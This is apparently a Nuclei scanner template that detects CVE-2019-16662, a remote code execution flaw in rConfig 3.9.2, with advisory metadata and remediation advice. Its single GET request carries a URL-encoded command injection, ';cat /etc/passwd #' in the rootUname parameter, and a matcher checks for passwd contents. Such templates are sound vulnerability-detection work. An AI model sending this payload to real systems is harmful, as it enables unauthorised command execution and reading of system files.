id: CVE-2019-16662 info: name: rConfig 3.9.2 - Remote Code Execution author: pikpikcu severity: critical description: rConfig 3.9.2 is susceptible to a remote code execution vulnerability. An attacker can directly execute system commands by sending a GET request to ajaxServerSettingsChk.php because the rootUname parameter is passed to the exec function without filtering, which can lead to command execution. impact: | Successful exploitation of this vulnerability can lead to unauthorized access, data theft, and complete compromise of the affected system. remediation: | Upgrade to a patched version of rConfig (3.9.3 or later) or apply the vendor-supplied patch to mitigate this vulnerability. reference: - https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/ - https://nvd.nist.gov/vuln/detail/CVE-2019-16662 - https://drive.google.com/open?id=1OXI5cNuwWqc6y-7BgNCfYHgFPK2cpvnu - http://packetstormsecurity.com/files/154999/rConfig-3.9.2-Remote-Code-Execution.html - http://packetstormsecurity.com/files/155186/rConfig-3.9.2-Command-Injection.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2019-16662 cwe-id: CWE-78 epss-score: 0.97525 epss-percentile: 0.9999 cpe: cpe:2.3:a:rconfig:rconfig:3.9.2:*:*:*:*:*:*:* metadata: max-request: 1 vendor: rconfig product: rconfig tags: intrusive,rconfig,packetstorm,cve,cve2019,rce http: - method: GET path: - "{{BaseURL}}/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4a0a00473045022100bc6bd5c593ad49dfc7ef75d568b9eace3d7c5edc389809e677979afea7178f8c0220445e23db9152f0ae4fd10b53b11c53eeb2689ce1d99d439c5978de8caa8a9d74:922c64590222798bb761d5b6d8e72950